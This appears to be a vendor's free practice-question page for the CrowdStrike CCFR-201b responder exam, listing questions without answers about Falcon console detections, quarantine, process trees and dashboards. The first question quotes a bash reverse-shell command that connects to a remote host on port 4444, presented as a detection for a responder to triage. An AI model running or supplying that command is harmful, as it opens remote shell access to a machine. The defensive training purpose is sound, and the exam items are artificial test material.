Free Practice Questions for the CrowdStrike CCFR CCFR-201b Exam (2026 Updated)
At Marks4sure, we are dedicated to providing IT professionals with the most accurate and reliable preparation materials for the CrowdStrike CCFR-201b exam. To support your certification journey, we have made a selection of our premium 2026 CCFR practice questions and answers available completely free. You can take this practice test as many times as you need. Every question includes a detailed, expertly verified explanation to ensure you fully grasp the core security concepts before test day.
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
An administrator needs to download a file for analysis that was blocked by the sensor. Where are quarantine files located within the Falcon UI?
While examining the ' Process Details ' sidebar of a detection, a responder sees the following icons: " 25 Network Operations " and " 277 Disk Operations " . What does this contextual data represent?
While most searches are accessible from a detection, some require a manual jump. Which search is not available as a direct pivot from a detection?
In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?
CrowdStrike implements a specific framework within the Falcon console to help responders categorize detections based on the adversary’s ultimate goals and the technical means used to achieve them. This classification system, which maps activity to known industry standards, is known as the:
A responder decides to set a specific Custom IOA to the ' Monitor ' action. Which of the following sentences best describes the technical result of this choice?
Evaluate the following process tree observed in a detection:
root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe
Based on the parent-child relationships, which entry source is most likely?
The Falcon sensor is designed to provide deep visibility into endpoint activity, yet it is not omniscient. According to the Cyber Kill Chain model, which of the following stages does the Falcon sensor typically NOT have visibility over?
A responder is analyzing a process tree where a suspicious executable is listed as a direct child of services.exe. In this scenario, which source is most likely responsible for the execution?
When looking at the details of a detection, there are two fields called Global Prevalence and Local Prevalence. Which answer best defines Local Prevalence?
When a responder is looking at the ' Full Detection Details ' page, they can toggle between several views. Which of the following is NOT a layout option available for viewing these details?
You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?
A responder wants to verify why a certain quarantined file was not uploaded to the cloud. Which specific policy dictates whether quarantined files are permitted to be uploaded?
A responder has identified a suspicious PowerShell script executing on a domain controller. To perform a deep-dive forensic analysis of every action taken by that specific process—including network connections and file modifications—the analyst needs to pivot to a Process Timeline. What is the absolute minimum telemetry data required to generate this auto-filled view?
A responder is explaining the quarantine process to a system administrator. What happens technically when a file is quarantined by the Falcon sensor?
Refer to the image.

In the Full Detection View while viewing the Process Tree you see an attack outlined as in the image above.
Based on what you see, what happened during the attack?
When performing a ' Hash Search ' , which of the following is NOT a filter available for use?
When an analyst is trying to pinpoint the exact moment an endpoint came online after being shut down for the weekend, which timeline view is the best to use?
An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?
While reviewing the high-level organizational structure of a complex detection in the Falcon console, a responder identifies several layers of activity. Which of the following is NOT officially recognized as an Objective Layer within the CrowdStrike detection hierarchy?
Following a detection involving a suspected ransomware binary, the Falcon sensor automatically takes a prevention action to prevent the file from executing. An analyst needs to retrieve this file for local sandbox analysis. Considering the default configuration, for how many days will this file remain stored in the encrypted quarantine folder on the local endpoint?
A SOC Manager is reviewing the monthly efficiency of the incident response team. They are specifically analyzing how many alerts were handled by each individual analyst and the ratio of legitimate threats to noise to optimize staffing levels. While navigating the Detection Resolutions Dashboard, which of the following metrics would they NOT find, as it is primarily located within the Activity or Executive summary dashboards?
On the Host Timeline dashboard, what built-in parameter would you modify in order to filter specific events in the timeline?
You are writing a script that your colleagues could run on any Windows machine using Real Time Response (RTR). The script you have written is over the 40-KB limit.
How should you run the script to avoid technical issues?
An executive asks for a definition of ' CrowdScore ' . Which of the following sentences best describes what CrowdScore is?
Which of the following statements about the ' Hash Search ' (Single Search) is TRUE?
Which specific event type in the Falcon telemetry is associated with the creation of a new ' TargetProcessId_decimal ' ?
By default, when a file is quarantined by the Falcon sensor to prevent execution, how many days does that file remain on the host ' s local disk?
During a targeted investigation into a potentially compromised internal administrative account, a responder utilizes the User Search functionality within the Investigate menu. The goal is to identify if the account was leveraged to drop or launch unauthorized binaries across multiple systems in the environment. Which specific data category is natively visible in the User Search results to facilitate this check?
The User Search results are organized into several categories. Which of the following is NOT a sub-heading in the User Search?
What is the difference between Managed and Unmanaged Neighbors in the Falcon console?
During the triage of a detection involving a newly created persistent task, which specific indicator is most important for a responder to identify the actual intent of the service?
Aside from a Process Timeline or Event Search, how do you export process event data from a detection in .CSV format?
Within the MITRE-Based Falcon Detections Framework, what is the correct way to interpret Keep Access > Persistence > Create Account?
A responder wants to include a visual representation of a process tree in an incident report. Which of the following is NOT a valid way to export process data from ' Full Detection Details ' ?
Falcon uses specific identifiers to track processes across the environment. Which of the following sentences best describes what the ' TargetProcessId_decimal ' raw data represents?
Which of the following sentences best describes the primary use of the ' Hash Executions ' Search (Bulk Search)?
Refer to the image.

You receive the detection displayed in the image above on a host in your environment.
Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?
An analyst is triaging a detection that has been categorized under the ‘Follow Through’ Objective Layer. Based on the Falcon technical documentation, which of the following adversary tactics is most likely to be observed within this specific layer?
In various telemetry events like ' FileWrite ' or ' NetworkConnect ' , Falcon identifies the process that performed the action. Which field will always identify this " acting " process?
Which of the following statements about the ' Detection Activity ' report is FALSE?
The Process Activity View provides a rows-and-columns style view of the events generated in a detection. Why might this be helpful?
After running an Event Search, you can select many Event Actions depending on your results. Which of the following is NOT an option for any Event Action?
An analyst needs to perform local sandbox analysis on a malicious file. When they download a quarantined file from the Falcon UI, what is the file format and the default password?
A responder needs to view a high-level overview of the environment ' s security posture. Where can they find the ' Activity Dashboard ' ?
You are concerned that a compromised user may have run multiple malicious commands across multiple hosts.
What information from Investigate > Search > Users will help you quickly find evidence of this behavior?
When using ' User Search ' to investigate a potentially compromised account, which of the following is NOT a filter available in the User Search?
Executive dashboards provide a high-level view of security. Which of the following CANNOT be seen from the Executive Summary Dashboard?
When investigating system-level persistence, it is critical to know what the services.exe process is responsible for. What is its primary function?
What is the required minimum PowerShell version on a Windows host system to utilize Real Time Response (RTR)?
Responders must understand the limitations and capabilities of custom rules. Which of the following statements about custom IOAs is FALSE?
